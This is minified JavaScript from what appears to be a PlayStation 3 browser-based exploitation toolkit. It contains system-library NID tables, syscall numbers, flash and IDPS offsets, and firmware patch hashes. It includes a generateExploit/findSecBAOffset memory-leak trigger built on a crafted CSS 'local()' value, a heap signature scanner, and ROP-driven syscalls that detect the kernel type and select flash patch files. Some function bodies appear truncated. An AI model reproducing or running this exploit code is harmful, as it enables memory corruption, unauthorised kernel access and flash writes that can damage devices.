6":"shutdown","0x9C056962":"socket","0x6DB6E8CD":"socketclose","0x51EE3EE":"socketpoll","0x3F09E20A":"socketselect","0x8CCF05ED":"sys_net_abort_resolver","0x8D1B77FB":"sys_net_abort_socket","0x44328AA2":"sys_net_close_dump","0xB68D5625":"sys_net_finalize_network","0xFDB8F926":"sys_net_free_thread_context","0xDEA29EF4":"sys_net_get_if_list","0x1D14D6E4":"sys_net_get_lib_name_server","0x878472F0":"sys_net_get_name_server","0x368823C0":"sys_net_get_netemu_test_param","0xAFC21C3E":"sys_net_get_routing_table_af","0x3B27C780":"sys_net_get_sockinfo","0xA765D029":"sys_net_get_sockinfo_ex","0xED0BC354":"net_get_test_param","0x5BD4438":"sys_net_get_udpp2p_test_param","0x27FB339D":"sys_net_if_ctl","0x139A9E9B":"sys_net_initialize_network_ex","0xAB447704":"sys_net_open_dump","0x89C9917C":"sys_net_read_dump","0x9A318259":"sys_net_set_lib_name_server","0xE2434507":"sys_net_set_netemu_test_param","0x7687D48C":"sys_net_set_resolver_configurations","0x4AB0B9B9":"sys_net_set_test_param","0x10B81ED6":"sys_net_set_udpp2p_test_param","0xB48636C4":"sys_net_show_ifconfig","0x79B61646":"sys_net_show_route","0x2AAE42A8":"sys_netset_abort","0x73D364D5":"sys_netset_close","0x3CFA784B":"sys_netset_get_if_id","0xB15E9321":"sys_netset_get_key_value","0xABCB26A1":"sys_netset_get_status","0x5853BE79":"sys_netset_if_down","0xA2B22757":"sys_netset_if_up","0xD4C6B098":"sys_netset_open"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},x3={libname:"x3",opds:{nids:{},names:{}},names:{"0xD275ADBD":"x3USBMass_Format","0x48F9FABB":"x3USBMass_GetDeviceInfo","0xC610617F":"x3USBMass_GetMountEntry","0x853ACF0E":"x3USBMass_GetStorageInfo","0x332B4874":"x3USBMass_GetAttachedDeviceIds","0x33587DAE":"x3USBMass_GetStorageInformation","0xEFC6EF88":"bXCeMemMgr_bXCeMemMgr_constructor","0x5E0BDA86":"bXCeMemMgr_bXCeMemMgr_destructor","0xBB1262AA":"bXCeMemMgr_operator_delete","0x515ED57B":"bXCeMemMgr_operator_new","0xBB904C88":"bXCeParser_SetResolveEntity","0xDB5BF8B0":"bXCeParser_SkipIgnorableWhiteSpace","0x6F0B1117":"bXCeXMLToD_Initialize","0xDFD0D9A7":"bXCeXMLToD_Parse","0x7FD1B82B":"bXCeXMLToD_Destroy","0xCC03A4E5":"bXCeAttrList_Initialize","0xFBC581BF":"bXCeAttrList_AddAttribute","0xE49B2FB7":"bXCeAttrList_GetAttribute","0x4D31F663":"bXCeAttrList_GetAttribute","0x3BDF774D":"bXCeAttrList_Clear","0x3C997A99":"bXCeAttrList_Length","0xCD374B29":"bXCeAttrList_Destroy","0x4161647F":"bXCeNodeList_Item","0x769CD90E":"bXCeNodeList_Destroy","0x8760D5F5":"bXCeNodeList_FindItem","0xB83F9AC8":"bXCeUTF8Utils_GetHexInteger","0xD98B043A":"bXCeUTF8Utils_GetNextInteger","0x6813FD25":"bXCeUTF8Utils_ResolveCharRef","0x95AC1738":"bXCeXMLParser_Initialize","0x711095A5":"bXCeXMLParser_SaveContext","0x1A6BEE58":"bXCeXMLParser_Parse","0xC7B03EDE":"bXCeXMLParser_Reset","0x3745F4":"bXCeXMLParser_Resume","0xD62A98D0":"bXCeXMLParser_Destroy","0x61295FFE":"bXCeDoc_ImportNode","0x828A7BA3":"bXCeDoc_Initialize","0x8F987385":"bXCeDoc_InsertNode","0x129EE11A":"bXCeDoc_RemoveChild","0xD6A5EB3F":"bXCeDoc_GetChildNodes","0x7AC4128A":"bXCeDoc_CreateTextNode","0xDAE2950C":"bXCeDoc_AddElementChild","0xEB637C94":"bXCeDoc_GetElementsByTagName","0xF4FA6F28":"bXCeDoc_AddAttr","0x37AD4EFF":"bXCeDoc_Destroy","0xEC289A5A":"bXUtils_Initialize","0x458D68AE":"bXUtils_GetDocument","0x16E0B7A4":"bXUtils_Destroy","0x316C9286":"bXUtils_bXToXML","0xF85DD772":"bXUtils_bXUtils_constructor","0xB5AB27F9":"bXUtils_bXUtils_destructor","0x6D88479C":"xMWIOCTL_Disconnect","0xE2BBDCC8":"xMWIOCTL_ConnectDevice","0x71254CDA":"xMWIOCTL_DeviceControl","0xCB1D791D":"xMWIOCTL_StorageDriverAccess","0xA0BBEBEE":"xMWIOCTL_XMWIOCTL_constructor","0x7CAB64F4":"xMWIOCTL_XMWIOCTL_destructor","0x59D2C50":"bXCeDoc_GetDocRoot","0x106D7436":"bXCeDoc_GetSibling","0x7257947C":"bXCeDoc_GetAttrName","0x793CAA0":"bXCeDoc_GetNextAttr","0xAB1C71B5":"bXCeDoc_GetNodeName","0x5471587":"bXCeDoc_GetNodeType","0x2388D15D":"bXCeDoc_GetAttrValue","0x2EE83DE4":"bXCeDoc_GetAttribute","0x38474239":"bXCeDoc_GetFirstAttr","0x7CA3EE8E":"bXCeDoc_GetRootconst","0x8DD3F7E7":"bXCeDoc_GetText","0x174754F0":"bXCeDoc_GetChild","0x17E56280":"bXCeMemAlloc","0x13C32B71":"bXCeMemDestroy","0xE4140D31":"bXCeMemFree","0x9003AE80":"bXCeMemInitialize","0xEB201A52":"sceSystemFileAddIndexW","0x4172107C":"sceSystemFileCalcSizeW","0xB0452730":"sceSystemFileFree","0xB66B5308":"sceSystemFileGetIndex","0xA06976E":"sceSystemFileGetIndexInfo","0xD277E345":"sceSystemFileGetValuePtr","0x869B19A4":"sceSystemFileInitFormatW","0x4A9C874B":"sceSystemFileLoadAll","0xB2F21D3A":"sceSystemFileLoadAll2","0xACD37D51":"sceSystemFileOverWriteToMem","0x837211A9":"sceSystemFileSaveToMemW","0xEEAEE4EF":"sceSystemFileSetValueSize","0x887EC484":"sys_exit_x3","0x5858821A":"sys_init_x3","0xEF2DA2AB":"x3_lib_exit","0xE7565C90":"x3_lib_init","0x34E2588C":"xAutoMounterGetInstance","0x9C246A91":"xBDVDGetInstance","0xE9E8B32F":"xCore_Exit","0x16FA740A":"xCore_GetInterface","0x28BCCEC6":"xEventHandlerGetInstance","0xE75FDA8D":"xRegistryAddKey","0xFA705F30":"xRegistryDeleteKey","0xA707820F":"xRegistryDestroy","0xACF69049":"xRegistryDestroyInstance","0x66D61138":"xRegistryDestroyList","0x1D666D7A":"xRegistryDump_DBG","0x11409ED3":"xRegistryGetDefaultInstance","0x12B480D0":"xRegistryGetList","0x8194A772":"xRegistryGetNewInstance","0x4D0651A7":"xRegistryGetValue","0xECACA8AD":"xRegistrySetValue","0x818DCC19":"xRegistryTransactionBegin","0xEC62EB67":"xRegistryTransactionEnd","0xEE698B61":"xUSBMassDestroyInstance","0x7066DA81":"xUSBMassGetInstance"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},stdc={libname:"stdc",opds:{nids:{},names:{}},names:{"0x8A6830E7":"abort","0x24C9E021":"abs","0x1313A420":"acos","0xDECE76A6":"acosf","0x5EFC660":"asin","0x411434BB":"asinf","0x7F579E03":"atan","0x31DB8C89":"atan2","0xFB932A56":"atan2f","0x3C057FBD":"atanf","0x5E7888F0":"bsearch","0x21E6D304":"ceil","0xBAF11866":"ceilf","0x8B439438":"clearerr","0x24F6CBDD":"clock","0xB120F6CA":"close","0xA3440924":"closedir","0xBC7B4B8E":"ctime","0x4217B4CF":"difftime","0xC291E698":"exit","0x18668CE3":"exp","0xFCF08193":"expf","0x705D9E24":"f_acosf","0xABDCCC7A":"f_atan2f","0x7AB679DA":"f_cosf","0xFDE072":"f_powf","0xB54CC9A1":"f_sinf","0x58EB9E57":"fabs","0xE1BD3587":"fclose","0xE3812672":"fdopen","0x4FFBA189":"feof","0x33D6AE54":"ferror","0x814D8CB0":"fflush","0xAC893127":"fgetc","0xAF44A615":"fgets","0x55D4866E":"fgetws","0xD360DCB4":"fileno","0x519EBB77":"floor","0x23B985F7":"floorf","0x895CDB49":"fmaxf","0x7C2EAEB5":"fminf","0xE769E5CF":"fmod","0x9A81E583":"fmodf","0x69C27C12":"fopen","0xFAEC8C60":"fprintf","0x79819DBF":"fputc","0x4D348427":"fputs","0xD40723D6":"fread","0x7F381837":"frexp","0xFE88E97E":"fscanf","0x69FF1B9B":"fseek","0xAB77019F":"fstat","0x3BD9CE0A":"fsync","0x26F023D5":"ftell","0xE9137453":"fwprintf","0xF88F26C4":"fwrite","0xF0E022C6":"getchar","0x90010029":"gets","0xEB26298C":"gmtime","0xAD62A342":"ldiv","0x266311A0":"localtime","0x3AD203FA":"lrint","0x9558ED08":"lrintf","0x772F1E4D":"lround","0xFBB4047A":"lroundf","0xAEC7C970":"lseek","0x12A55FB7":"mbrtowc","0xFCAC2E8E":"mbstowcs","0xCBAC7AD7":"memchr","0xC3E14CBE":"memcmp","0x831D70A5":"memcpy","0x5B162B7F":"memmove","0x5909E3C4":"memset","0x153B364A":"mkdir","0x19CCBB81":"mktime","0xA713F8CF":"nan","0x8ECAE294":"nextafter","0xB7696143":"nextafterf","0xF356418C":"open","0x3DBC3BEE":"opendir","0x692B497F":"perror","0x38E69F09":"pow","0x4DDB926B":"powf","0xC01D9F97":"printf","0x2677568C":"putchar","0xE3CC73F3":"puts","0xA9F68EFF":"qsort","0x15BDCC00":"rand","0xFA00D211":"read","0x2B81FB7F":"readdir","0x75D4485C":"rename","0x54F57626":"rewind","0xF428F0F":"rint","0x7E7017B1":"rmdir","0xF3EC0258":"round","0xC984BF53":"roundf","0x703EC767":"setvbuf","0x3A840AE3":"snprintf","0x273B9711":"sprintf","0xB1F4779D":"spu_thread_printf","0x659E011E":"sqrt","0x8451EDF0":"sqrtf","0xD2A593B":"srand","0xE9B560A5":"sscanf","0x717B2502":"stat","0xB6D92AC3":"strcasecmp","0xAA9635D7":"strcat","0xDEBEE2AF":"strchr","0x3D85D6F8":"strcmp","0x4A183FC":"strcpy","0xFC0428A6":"strdup","0x44796E5C":"strerror","0xCB9C535B":"strftime","0x2F45D39C":"strlen","0xB6257E3D":"strncasecmp","0x589B5314":"strncat","0xE1E83C65":"strncmp","0x8AB0ABC6":"strncpy","0xF89DC648":"strpbrk","0x73EAE03D":"strrchr","0xC5C09834":"strstr","0xE40BA755":"strtok","0xB738027A":"strtok_r","0xD14ECE90":"strtol","0x62BF1D6C":"swprintf","0x3A210C93":"swscanf","0xD50277AD":"tan","0x9379E36E":"tanf","0x89F6F026":"time","0x475D855B":"trunc","0xEF110B6B":"unlink","0xFB2081FD":"vfprintf","0xE48348E9":"vprintf","0x99A72146":"vsnprintf","0x7AE82E0F":"vsprintf","0x4B6A4010":"vswprintf","0xB2702E15":"wcrtomb","0x7FDCF73E":"wcscat","0x82A3CC30":"wcschr","0xF0776A44":"wcscmp","0xF41355F9":"wcscpy","0xF3EF3678":"wcscspn","0x65E8D4D0":"wcslen","0x9439E4CD":"wcsncat","0x6D5115B0":"wcsncmp","0x84378DDC":"wcsncpy","0xB7AB5127":"wcsrchr","0xA797790F":"wcsstr","0x116CDA13":"wcstol","0xA30D4797":"wcstoll","0xB680E240":"wcstombs","0x4E72F810":"wmemchr","0xAC758D20":"wmemcmp","0xA8B07F1B":"wmemcpy","0x99B38CE7":"wmemmove","0xF06EED36":"wmemset","0x526A496A":"write"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_fs={libname:"sys_fs",opds:{nids:{},names:{}},names:{"0x6E681ED":"cellFsAccess","0x24FA3BCC":"cellFsAclRead","0xE44827ED":"cellFsAclWrite","0x7F13FC8C":"cellFsAioCancel","0x9F951810":"cellFsAioFinish","0xDB869F20":"cellFsAioInit","0xC1C507E7":"cellFsAioRead","0x4CEF342E":"cellFsAioWrite","0x3394F037":"cellFsAllocateFileAreaByFdWithInitialData","0x2CF1296B":"cellFsAllocateFileAreaByFdWithoutZeroFill","0x103B8632":"cellFsAllocateFileAreaWithInitialData","0x7A0329A1":"cellFsAllocateFileAreaWithoutZeroFill","0x1EA02E2F":"cellFsArcadeHddSerialNumber","0xE15939C3":"cellFsChangeFileSizeByFdWithoutAllocation","0x606F9F42":"cellFsChangeFileSizeWithoutAllocation","0x99406D0B":"cellFsChmod","0x842E7E06":"cellFsChown","0x2CB51F0D":"cellFsClose","0xFF42DCC3":"cellFsClosedir","0xCB588DBA":"cellFsFGetBlockSize","0x1CAEC657":"cellFsFGetBlockSize2","0x6AE0BA7F":"cellFsFcntl","0xD338A65A":"cellFsFdatasync","0xEF3EFA34":"cellFsFstat","0x967A162B":"cellFsFsync","0xE2939E5":"cellFsFtruncate","0x1A108AB7":"cellFsGetBlockSize","0x4BD5073A":"cellFsGetBlockSize2","0x9B882495":"cellFsGetDirectoryEntries","0xAA3B4BCD":"cellFsGetFreeSize","0x3AAA1BD0":"cellFsLink","0xA397D042":"cellFsLseek","0x1B0B915E":"cellFsLsnGetCDA","0x6C815943":"cellFsLsnGetCDASize","0x1FF82B63":"cellFsLsnLock","0x6A4B95C1":"cellFsLsnRead","0xF0A73832":"cellFsLsnRead2","0x226CD693":"cellFsLsnUnlock","0x14D58C7A":"cellFsMappedAllocate","0x384C65CF":"cellFsMappedFree","0xBA901FE6":"cellFsMkdir","0x718BF5F8":"cellFsOpen","0x18DD4604":"cellFsOpen2","0x3F61245C":"cellFsOpendir","0x4D5FF8E2":"cellFsRead","0xD5B4A14":"cellFsReadWithOffset","0x5C74903D":"cellFsReaddir","0xA01EE33A":"cellFsRegisterConversionCallback","0xF12EECC8":"cellFsRename","0x2796FDF3":"cellFsRmdir","0xB1840B53":"cellFsSdataOpen","0x6D3BB15B":"cellFsSdataOpenByFd","0x445C878F":"cellFsSdataOpenWithVersion","0x2671310":"cellFsSetDefaultContainer","0x91A1BEAA":"cellFsSetDiscReadRetrySetting","0x3140F6E1":"cellFsSetIoBuffer","0x75F16DC5":"cellFsSetIoBufferFromDefaultContainer","0x27800C6B":"cellFsStRead","0xD73938DF":"cellFsStReadFinish","0x190912F6":"cellFsStReadGetCurrentAddr","0xBD273A88":"cellFsStReadGetRegid","0xB3AFEE8B":"cellFsStReadGetRingBuf","0xCF34969C":"cellFsStReadGetStatus","0x2664C8AE":"cellFsStReadInit","0x81F33783":"cellFsStReadPutCurrentAddr","0x8DF28FF9":"cellFsStReadStart","0xF8E5D9A0":"cellFsStReadStop","0x8F71C5B2":"cellFsStReadWait","0x866F6AEC":"cellFsStReadWaitCallback","0x7DE6DCED":"cellFsStat","0x8DCFF2CD":"cellFsSymbolicLink","0xC9DC3AC5":"cellFsTruncate","0x3A1C8393":"cellFsTruncate2","0x7F4677A8":"cellFsUnlink","0xF94BAA80":"cellFsUnregisterL10nCallbacks","0xBEF554A4":"cellFsUtime","0x37907F9F":"cellFsWidgetStat","0xECDCF2AB":"cellFsWrite","0x8CB722D5":"cellFsWriteWithOffset"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sdk={libname:"sdk",opds:{nids:{},names:{}},names:{"0xC7781115":"cellCryptoPuSha256Hash","0x5FAFE92B":"cellCryptoPuSha1Hash"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},helper={gtemp_addr:2398617600,vtemp_addr:0,vmode:"CEX",kmode:"CEX",ktype:"OFW",tversion:"1.2",tbuild:"002",fp9disabled_to:0,timeout:!1,timeout2:!1,timeout_init:!0,timeout_hextable:!1,timeout_log:!1,ppc_trap_instruction:2145386504,sp_exit:2413340112,dbyte41:16705,dbyteFF:65535,qbyte41:1094795585,qbyteFF:4294967295,mbytes:1048576,kbytes:1024,sFF32:"FFFFFFFF",sFF64:"FFFFFFFFFFFFFFFF",snull32:"00000000",snull64:"0000000000000000",gadgets_box:{},vshgadgets_box:{},vshdata_storage:6815744,sound_ok:0,sound_ng:0,system_plugin:0,xmb_plugin:0,edy_plugin:0,osk_plugin:0,download_plugin:0,xmm0_interface:0,webbrowser_plugin:0,explore_plugin:0,download_plugin_interface:0,explore_plugin_interface:0,webbrowser_plugin_interface:0,sc_fs_open:801,sc_fs_read:802,sc_fs_lseek:818,sc_fs_write:803,sc_fs_unlink:814,sc_fs_close:804,sc_fs_stat:808,sc_fs_mount:837,sc_fs_unmount:838,sc_fs_opendir:805,sc_fs_readdir:806,sc_fs_closedir:807,sc_fs_fcntl:817,sc_fs_chmod:834,sc_fs_disk_free:840,sc_fs_get_mount_info_size:841,sc_fs_get_mount_info:842,sc_ss_update_manager:863,sc_ss_ai_manager:867,sc_dbg_consoletype:985,fs_flag_readonly:0,fs_flag_create:577,fs_flag_create_rw:578,fs_flag_create_append:1089,fs_flag_create_append_rw:1090,fs_mode:438,sc_sso:600,sc_ssr:602,sc_ssw:603,sc_ssgdi:609,sc_ssc:601,sc_ssgcf:874,max_buffer_size:67108864,start_write_sector_nand:1024,start_write_sector_nor:1536,flash_flag:"100000000000000",step_sector:2048,sector_size:512,idps_offset:112,idps_sector_nor:376,idps_sector_nand:516,patchfile_size:734e4,rospatch_size:7340032,idps_nor_sigoffset:192624,idps_nand_sigoffset:264304,sem_attr_fifo:"000000020000020000000000000000000000000000000000726F7073656D0000",lwmtx_attr_fifo:"00000002000000206D74785F666D6D00",mtx_attr_fifo:"0000000100000020000002000000200000000000000000000000000000000000726F706D74780000",nofsm_hash:"",nofsm_url:"",minver:"0.00",sysinfo:{txt:"",done:!1},patch_ros_fragment_start:"000000000000000000000000000000000000000000E000000000000000000000000000000000000000000000006FFFE0",patch_ros_fragment_end1:"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF",patch_ros_fragment_end2:"00000000000000000000000000000000",ioctl_flag:4026561295,ioctl_flag2:2155901711,stack_size:8192,ppu_thread_create_joinable:1,priority:3e3,stat_size_offset:40,sc_sm_ring_buzzer:392,sys_process_getpid:1,sys_process_getppid:18,sys_net_accept:700,sys_net_bind:701,sys_net_connect:702,sys_net_getpeername:703,sys_net_getsockname:704,sys_net_getsockopt:705,sys_net_listen:706,sys_net_recvfrom:707,sys_net_recvmsg:708,sys_net_sendto:710,sys_net_setsockopt:711,sys_net_poll:715,sys_net_select:716,sys_net_socket:713,sys_net_close:714,sys_net_control:723,sys_net_open_dump:717,sys_net_close_dump:719,sys_net_ioctl:724,sys_net_sendmsg:709,sys_ppu_thread_get_stackinfo:49,sys_ppu_thread_create:52,sys_ppu_thread_stop:50,sys_ppu_thread_restart:51,sys_ppu_thread_getprio:48,sys_ppu_thread_setprio:47,sys_ppu_thread_start:53,sys_ppu_thread_rename:56,sys_ppu_thread_join:44,sys_ppu_thread_exit:41,sys_mutex_create:100,sys_mutex_lock:102,sys_mutex_trylock:103,sys_mutex_unlock:104,sys_mutex_destroy:101,sys_lwmutex_create:95,sys_lwmutex_lock:97,sys_lwmutex_unlock:98,sys_lwmutex_trylock:99,sys_lwmutex_destroy:96,sys_cond_create:105,sys_cond_wait:107,sys_cond_signal:108,sys_cond_signal_to:110,sys_cond_destroy:106,sys_sem_create:90,sys_sem_close:91,sys_sem_wait:92,sys_sem_trywait:93,sys_sem_post:94,sys_sem_getvalue:114,sys_dbg_get_seminfo:947,sys_event_queue_create:128,sys_event_queue_destroy:129,sys_event_queue_receive:130,sys_event_queue_tryreceive:131,sys_event_queue_drain:133,sys_event_port_create:134,sys_event_port_destroy:135,sys_event_port_connect_local:136,sys_event_port_disconnect:137,sys_event_port_send:138,sys_event_flag_create:82,sys_event_flag_destroy:83,sys_event_flag_get:139,sys_event_flag_set:87,sys_event_flag_wait:85,sys_event_flag_trywait:86,sys_event_flag_clear:118,sys_memory_container_get_size:343,sys_memory_get_page_attribute:351,sys_memory_allocate_from_container:350,sys_memory_free:349,sys_sm_get_get_system_info:387,sys_sm_request_error_log:390,sys_sm_request_be_count:391,sys_sm_get_hw_config:393,sys_sm_request_scversion:394,sys_prx_get_module_list:494,sys_prx_get_module_info:495,sys_config_open:516,sys_config_close:517,sys_config_register_service:521,sys_timer_usleep:141,sys_timer_sleep:142,sc_storage:0,sock_control_flag:2148007941,browser_container:1056964612,dflash_name:"CELL_FS_IOS:BUILTIN_FLSH1",fs_fat:"CELL_FS_FAT",fm_usermode:0,me_usermode:0,ba_offset:0,AF_INET:2,SOCK_DGRAM:2,comp:{node:{},ret:[],fd:-1,bf:0,sfread:"",done:!1},mboard_table:{"Cyt2.2":"TMU-510","Cyt3.1":"TMU-520","Cyt3.2":"TMU-520",Cok14:"COK-001",CokB10:"COK-002",CokC12:"SEM-001",CokD10:"DIA-001",CokE10:"DIA-002",Deb01:"DEB-001",CokF10:"VER-001",CokG11:"DYN-001",CokH11:"SUR-001",CokJ13:"JTP-001",CokJ20:"JSD-001",CokK10:"KTE-001",CokM20:"MSX-001(NOR)",CokM30:"MPX-001(eMMC)",CokN10:"NPX-001(NOR)",CokP40:"PPX-001(eMMC)",CokP10:"PQX-001(NOR)",CokP30:"PQX-001(eMMC)",CokR40:"REX-001(eMMC)"},sha256_loadedros:"",rosBuffer:{offset:0,size:0},savePatchData:null,loadPatchData:null,existPatchData:null,deletePatchData:null,fm_tmpfile_path:"/dev_hdd0/tmp/bg_smtmp.bin",wt_pool:[],worker:{fmm:null,udp:null,fe:null},femplist:null,xregistry:null,sm:null,bc:null,sp:null,sctx:null,mplist:null,profileId:null,patches:null,cookies:{},swfobject:{},fm_functions:{},heap:{},stack:{},buffer:{},memory:{},rop:{},swf:{},error:function(e){throw new Error(e)}};function fromIEEE754(e,t,r){for(var s,o=[],l=e.length;l;l-=1){s=e[l-1];for(var n=8;n;n-=1)o.push(s%2?1:0),s>>=1}o.reverse();var i=o.join(""),a=(1<0?p*Math.pow(2,c-a)*(1+d/Math.pow(2,r)):0!==d?p*Math.pow(2,-(a-1))*(d/Math.pow(2,r)):0*p).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e>>24&255,e>>16&255,e>>8&255,255&e,t>>24&255,t>>16&255,t>>8&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e<<32|(t>>1)-1)-e)}function findSecBAOffset(e){var t=document.getElementById("explt");t.style.src="local("+generateExploit(e-1024,2176)+")";var r=t.style.src.substr(6,2176).toAscii(),s=e-1020,o=s+r.indexOf("0100000001000000")/2,l=s+r.indexOf("0000100000000012")/2,n=s+r.indexOf("0000100000000014")/2;return o=0){helper.ba_offset=jsleak32(t+(l+16)/2),Logger.debug("Found signature at 0x"+(t+l/2).toString(16));var a=jsleak32(t+l/2-4);return a>65536&&a<268435456&&(n=a-215820,i=jsleak32(jsleak32(a))-3940876,Logger.info("Found FP9 text segment 0x"+i.toString(16)),Logger.info("Found FP9 data segment 0x"+n.toString(16)),Logger.info("Found signature at 0x"+(t+l/2).toString(16)),Logger.info("Found BA offset at 0x"+helper.ba_offset.toString(16))),{sig_offset:t+l/2,ba_data_offset:helper.ba_offset,fp9text_offset:i,fp9data_offset:n}}return 0}var sig_search=function(e,t,r,s,o){r=r||32,s=s||2408513536,o=o||271;for(var l=0,n=0;0===l&&n4352&&Logger.info("BA signature search base 0x"+(s-65536*n+t).toString(16)+" on range 0x"+r.toString(16)),l=findJsVariableOffset(e,s-65536*n+t,r),n++;return l};function sig_scan(e){var t=0,r=0,s=0,o=10,l=4,n=0,i=toast("Preparing to scan RAM for exploitation target signature, please wait...","warning",300);Logger.info("Scanning heap range for primary target signature"),t=setTimeout(function(){!function a(){return s++,r=sig_search(e,4096*o,4352),o--,r&&0!==r?(t>0&&(clearTimeout(t),t=0),$().toastmessage("removeToast",i),Logger.info("Exploitation target signature found"),void setTimeout(function(){document.getElementById("FP9Test").finalizeSearch(r)},500)):o1?(Logger.info("BA primary target signature not found in browser heap range"),ps3chk(!1),document.getElementById("FP9Test").finalizeSearch({sig_offset:0,ba_data_offset:0}),void $().toastmessage("removeToast",i)):(o0&&(Logger.info("Restoring UDP Port user setting"),s.val(e)),helper.sm=new sysmem,helper.wt_pool=["BGTOOLSET_WKR_UDP","BGTOOLSET_WKR_FMM","BGTOOLSET_WKR_FE"],clearThreadSession(!0);var o=$("#"+Logger.iptnet());s=$("#"+Logger.tbport()),e=!1;function l(){o.on("click",function(){disable_GUI(),!0===this.checked?setTimeout(function(){var e=s.val(),t=parseInt(e);t.toString()!==e&&(Logger.error("Port "+e+" is invalid.\n Setting UDP port to default 18194"),e="18194",s.val(e),t=18194),t>0&&t<65536&&(helper.bc||(helper.bc=new UDPBroadcaster),Logger.info("Debug UDP Broadcasting on port "+e),0===helper.bc.open(e)&&(helper.cookies.set("udp_conn",e),setTimeout(function(){enable_GUI(),s.removeClass("ui-state-disabled").addClass("ui-state-disabled")},150)))},0):(setTimeout(function(){helper.bc&&helper.bc.close(),Logger.info("Debug UDP Broadcasting closed"),s.removeClass("ui-state-disabled"),enable_GUI()},100),this.checked=!1)}),o.parent().children("label").removeClass("ui-state-disabled")}helper.cookies.get("udp_socket")?setTimeout(function(){var t=helper.cookies.getJSON("udp_socket");s.val(t.port),helper.bc=new UDPBroadcaster(t),helper.bc.open(),o.parent().children("label").removeClass("ui-state-disabled"),o.click(),o.parent().children("label").removeClass("ui-state-disabled").addClass("ui-state-disabled"),e=!0,s.removeClass("ui-state-disabled").addClass("ui-state-disabled"),l(),Logger.info("UDP Port "+t.port+" reacquired")},500):(helper.bc=new UDPBroadcaster,l()),setTimeout(function(){var o=helper.heap.store(8),l=helper.heap.store();helper.kmode=function(){helper.rop.run(syscall32(helper.sc_dbg_consoletype,o));var e=helper.memory.upeek32(o+4);return 1===e?"CEX":2===e?"DEX":3===e?"DECR":"Unknown"}();var n=function(){var e=helper.rop.rrun(syscall(6,UInt64("8000000000000000")));Logger.debug("peek_sc6 ret: 0x"+e.toString(16)),helper.rop.run(syscall32(8,28672,l));var t=helper.memory.upeek32(l);Logger.debug("sc8_peekval: 0x"+t.toString(16));var r=helper.rop.rrun(syscall32(8,4919));Logger.debug("peek_sc_hen ret: 0x"+r.toString(16));var s=helper.rop.rrun(syscall32(8,32767));return Logger.debug("peek_sc1022 ret: 0x"+s.toString(16)),1638===s?"MAMBA":4919===r?"HEN":t>0?"COBRA":0===e?"CFW":"No"}();switch(helper.ktype="No"!==n,r){case 7362064:helper.nofsm_hash="4.80"===t?"CEX"===helper.kmode?"BA76A94AD77E456A40A7C0C6349F267AB2D676B95A345A76578EFCCB4973442D":"":"4.81"===t&&"CEX"===helper.kmode?"85BF81577D8B2AE372D567121AF7C41BADC279B486964D9EAAE372E0595F4FF4":"",helper.nofsm_url="4.80"===t?"CEX"===helper.kmode?"nofsm_patch_480.bin":"":"4.81"===t&&"CEX"===helper.kmode?"nofsm_patch_481.bin":"";break;case 7296288:helper.nofsm_hash="4.80"===t?"BA76A94AD77E456A40A7C0C6349F267AB2D676B95A345A76578EFCCB4973442D":"4.81"===t?"85BF81577D8B2AE372D567121AF7C41BADC279B486964D9EAAE372E0595F4FF4":"",helper.nofsm_url="4.80"===t?"nofsm_patch_480.bin":"4.81"===t?"nofsm_patch_481.bin":"";break;case 7362112:helper.nofsm_hash="4.82"===t&&"CEX"===helper.kmode?"1639F41F6D1E9658F22EA7ED1E961E5A4DE3640A19E945A8B0C9CC84A90F558A":"",helper.nofsm_url="4.82"===t&&"CEX"===helper.kmode?"nofsm_patch_482.bin":"";break;case 7362120:helper.nofsm_hash="4.84"===t&&"CEX"===helper.kmode?"597D32AD3CEA591003966B3C077400FD3903AB488705052CBB3F60AAA0837D21":"",helper.nofsm_url="4.84"===t&&"CEX"===helper.kmode?"nofsm_patch_484.bin":"";break;case 7296336:helper.nofsm_hash="4.82"===t?"1639F41F6D1E9658F22EA7ED1E961E5A4DE3640A19E945A8B0C9CC84A90F558A":"",helper.nofsm_url="4.82"===t?"nofsm_patch_482.bin":"";break;case 7296344:helper.nofsm_hash="4.83"===t?"DC5213CAAF7B85D9B4D47BD3E015711BF4C4EA5F899DC85CD31CC63176B24CE2":"4.84"===t?"597D32AD3CEA591003966B3C077400FD3903AB488705052CBB3F60AAA0837D21":"4.85"===t?"A17D20F3F5E0DCD9FD0F3F34F413550F751AE2005075A737969854BAE549C545":"4.86"===t?"B5B7D07D0432D1876C9DD19D780A80AF67CF9BA82FCD09ECBEDF236F30C3C44A":"4.87"===t?"25128F851C0B89CF4D830F0A4917C1C971FA2489B50F4084ED77FB429AB7E740":"4.88"===t?"EAE06949E2DEA732D13CF7BEF9C0A706EC71B5032410D277AE1554E89CE9D2ED":"4.89"===t?"7ECCF29015432182531CCF50EBAABCEA3866DD25320200CBD9440BA31C0C35ED":"",helper.nofsm_url="4.83"===t?"nofsm_patch_483.bin":"4.84"===t?"nofsm_patch_484.bin":"4.85"===t?"nofsm_patch_485.bin":"4.86"===t?"nofsm_patch_486.bin":"4.87"===t?"nofsm_patch_487.bin":"4.88"===t?"nofsm_patch_488.bin":"4.89"===t?"nofsm_patch_489.bin":""}helper.sp=new soundPlayer,helper.heap.free([o,l]),$("#ps3details").html("
